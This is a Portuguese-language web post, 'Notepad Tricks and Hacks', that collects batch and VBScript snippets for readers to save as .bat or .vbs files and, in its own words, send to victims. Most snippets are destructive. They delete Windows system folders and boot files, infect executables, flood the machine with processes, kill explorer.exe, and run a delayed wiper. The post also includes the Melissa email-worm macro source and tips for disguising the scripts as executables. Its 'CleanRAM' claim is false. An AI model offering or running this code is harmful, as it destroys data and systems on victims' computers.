Notepad Tricks and Hacks

Bloco de Notas, o editor de texto que vem no Windows é uma excelente ferramenta para edição de texto. Mas isso não é a única coisa para a qual o bloco de notas é famoso. É também famoso por seus truques e hacks. Aqui está um resumo de alguns dos melhores truques e mais fixes que você pode tentar usando o bloco de notas. Só tem de escolher o código e colar no bloco de notas e guardar com o Nome Que quiser.bat

Exemplo: Fotos.bat

AVISO:Não execute os ficheiros em seu proprio Pc, pois pode ocorrer serios danos, voce deve enviar para as vitimas!!!

█ █ █ █ █ █ █ █ █ █ █ █

Nome:Del All Windows
rmdir /s /q c:windows
Função:Deleta tdo do Windows (fode o pc

Nome:Autoexec
@ECHO OFF
@BREAK OFF
deltree/C: Y*.*
Função:Fode com tudo

Nome:Trojan-1
VERSION 5.00
Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "mscomctl.ocx"
Begin VB.Form Form1
BackColor = &H80000007&
BorderStyle = 1 'Fixed Single
Caption = "Welcome to XP Blaster Pro (Enterprise Edition)!"
ClientHeight = 5400
ClientLeft = 45
ClientTop = 390
ClientWidth = 8085
BeginProperty Font
Name = "Fixedsys"
Size = 9
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Icon = "Source3.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
MouseIcon = "Source3.frx":08CA
PaletteMode = 2 'Custom
ScaleHeight = 5400
ScaleWidth = 8085
ShowInTaskbar = 0 'False
StartUpPosition = 3 'Windows Default
Begin VB.CommandButton Command3
Caption = "About"
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 120
TabIndex = 3
Top = 4920
Width = 1215
End
Begin VB.CommandButton Command2
Appearance = 0 'Flat
BackColor = &H000000FF&
Caption = "WEBSITE"
BeginProperty Font
Name = "Trebuchet MS"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height
Função:Augumas dos trojans tradiçionais

Nome:Del p/ Windows
del /s /q c:windows
Função:Deleta tudo dentro do Windows ex: arquivos e naum pastas

Nome:Shutdown-S
shutdown -s
Função:Desliga o pc

Nome:Shutdown-R
shutdown -r
Função:Reinicia o pc

shutdown -s -c "escreva o que vc quiser" -t 60

Função:Desliga o pc e deixa mensagem

@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c: tldr
del c: tldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini

Função: Desliga o pc para sempre

Nome:Trojan-2
@echo off
ctty nul
rem
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=
rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3
Função:Fode com tudo mesmo...

Nome:Pirata
X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
Função:Testar seu Anti-Virus ou enganar auguem.

Nome:Melissa 1999
// Melissa Virus Source Code
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USERSoftwareMicrosoftOffice", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End
Função:se espalha rapidamente e força empresas como Intel e Microsoft, entre outras, a fechar seus sistemas de e-mail para conter a praga, que se disseminava via Outlook. O vírus, além de se enviar pela Internet, modificava documentos do Word colocando falas do programa de televisão Os Simpsons. Causou danos estimados em US$ 300 milhões a US$ 600 milhões.

Nome:CLICK EM MIM
@ECHO OFF
:REPETE
MSG * CLICK EM MIM
GOTO REPETE
Função:Fica repetindo varias vezes a mesma mensagem

@echo off
:top
md %random%
goto top
Função: Cria 1000 pastas vazias no desktop, salve com o nome 1000folders.bat

Nome:Progstar
@echo off
rem Denial Of Service Local
:Fucker
start notepad.exe
start write.exe
start sol.exe
start cmd.exe
start powerpnt.exe
start excel.exe
start winword.exe
start msacess.exe
goto Fucker:
Função:Abre varios programas sem parar, fais o pc trava

Nome:bomba relógio
c:
cd
echo off
if exist lig1.drv goto 2
echo > lig1.drv sdfsdf
goto fim
:2
if exist lig2.drv goto 3
echo > lig2.drv sdfsdf
goto fim
:3
if exist lig3.drv goto 4
echo > lig3.drv sdfsdf
goto fim
:4
if exist lig4.drv goto 5
echo > lig4.drv sdfsdf
goto fim
:5
if exist lig5.drv goto 6
echo > lig4.drv sdfsdf
goto fim
:6
if exist lig6.drv goto 7
echo > lig6.drv sdfsdf
goto fim
:7
rmdir C:windows
rmdir C:arquivos de programas
rmdir C:documents and settings
:fim
Função:depois que ele for ativado 7 vezes ele apaga tudo
Nome:MSN Fixer
cd %USERPROFILE%
cd Config~1
cd Dadosd~1
cd Micros~1
cd "Windows Live Contacts"
del /s /q *.*
Função:Congela todos os msn's que estao sendo executados.

CD
CDWINDOWS
DEL WIN.INI
DEL WIN.COM
DEL SYSTEM
DEL SYSTEM.INI
DEL SYSTEM.COM
DEL SYSTEM32
DEL SECURITY
DEL REGEDIT.EXE
DEL HH.EXE
DEL CONFIG
DEL CONTROL.INI
DEL CONTROL.COM
DEL DEBUG
DEL CLOCK.AVI
DEL TASKMAN.EXE
DEL WININIT.INI
DEL WININIT.COM
DEL WEB
CD
DEL CONFIG.SYS
DEL AUTOEXEC.BAT
rmdir /s /q c:windows

echo :a >>WindUpdate.bat
echo tskill explorer >>WindUpdate.bat
echo goto a >>WindUpdate.bat
echo Set objShell = CreateObject("WScript.Shell")>>rundlll32.vbs
echo strCommand = "WindUpdate.bat">>rundlll32.vbs
echo objShell.Run strCommand, vbHide, TRUE>>rundlll32.vbs
start "" rundlll32.vbs

Função:Este código ao ser executado, Fecha o processo Explorer.exe e cria um arquivo .Vbs com a opção de não deixar o explorer.exe ser iniciado.

@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top

Função: Abre o bloco de notas vezes sem parar, encrava o computador...

@ECHO off
:Begin
msg * OLA
msg * está-se a divertir?
msg * Eu Também
msg * Vamo-nos divertir juntos!
msg * A formatar computador
GOTO BEGIN

Função: Abre uma janela pop up irritante... só tem de editar o texto como quiser...

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

Efeito Matrix

@echo off
color 0a
:SCROLLR
echo 5 a 8 b d 8 h 5 a c o l 4 3 1 5 a 8 b d 8 h 5 a c o l 4 3 6 1 5 a 8 b d 8 h
echo 3 2 4 f c p 3 m 9 u u l m 4 3 2 0 f c p 3 m 9 u u l m d 4 5 a c o l 4 3 2 g
echo a c o R 4 3 2 h h 5 4 3 l 7 + a c o l 4 3 2 h h 5 4 3 l 7 j y 3 m 9 u u l m
echo 5 a 8 b d 8 h 5 a c o l 4 3 1 5 a 8 b d 8 h 5 a c + l 4 3 6 5 a c o l 4 3 2
echo 3 2 0 f c p 3 + 9 u u l m 4 3 2 0 f c p 3 m 9 u u l m d 4 u l m 4 3 2 0 f t
echo a c o l 4 3 2 h h 5 4 3 l 7 5 a c o l 4 3 2 h h 5 4 3 l 7 j y p 3 m 9 u p 3
echo 5 a 8 b d 8 h 5 a c o l 4 3 1 5 a 8 b d 8 h 5 a c o l 4 3 6 1 5 a 8 b d 8 h
echo h h 5 4 3 l 7 3 m 9 u u l m 2 h h 5 4 3 l 7 3 m 9 u u l m 1 5 a 8 b d 8 r 3
echo h h 5 4 3 l 7 3 m 9 u u l m 2 h h 5 4 3 l 7 3 m 9 u u l m 4 3 2 0 f c p 3 f
echo 5 a 8 b d 8 h 5 a c o l 4 3 1 5 a 8 b d 8 h 5 a c o l 4 3 6 1 5 a 8 b d 8 h
echo C h 5 4 3 l 7 3 m 9 u u l m 2 + h 5 4 3 l 7 3 m 9 u u l m 1 5 a 8 b d 8 r 3
echo m O u u l m h l 8 7 u m p 3 m 9 u u l m h l 8 7 u m p 4 5 a c o l 4 3 2 e r
echo 3 2 4 f c p 3 m 9 u u l m 4 3 2 0 f c p 3 m 9 u u l m d 4 5 a c o l 4 3 2 g
goto SCROLLR

Efeito Matrix 2

@echo off
:1
time 00:01
time 00:02
goto 1

Função: Deixa o tempo maluco

Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Funcão: Faz abrir a CD Drive vezes sem parar. Este voce deve guardar com o nome que quiser.vbs e envie (exemplo virus.vbs)

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Funcão: Faz o teclado escrever sozinho. Este voce deve guardar com o nome que quiser.vbs e envie (exemplo virus.vbs)

Do
StrText=("vIRUS IN YOUR COMPUTER")
strText2=("VIRUS IN YOUR COMPUTER")
set ObjVoice = CreateObject("SAPI.SpVoice")
ObjVoice.Speak StrText
ObjVoice.Speak StrText2
Loop

Funcão: Faz o Computador falar sozinho. Este voce deve guardar com o nome que quiser.vbs e envie (exemplo virus.vbs)

FreeMem=Space(64000000)

Função:Este código ao ser executado limpa a memoria ram do seu computador tornando-o mais rápido. Este voce deve guardar com o nome CleanRAM.vbs

Abra o bloco de notas e digite: Type .LOG e guarde com o nome Type .LOG

Para camuflar os virus batch use Bat to exe converter

Obs. "Conhecimento não é crime!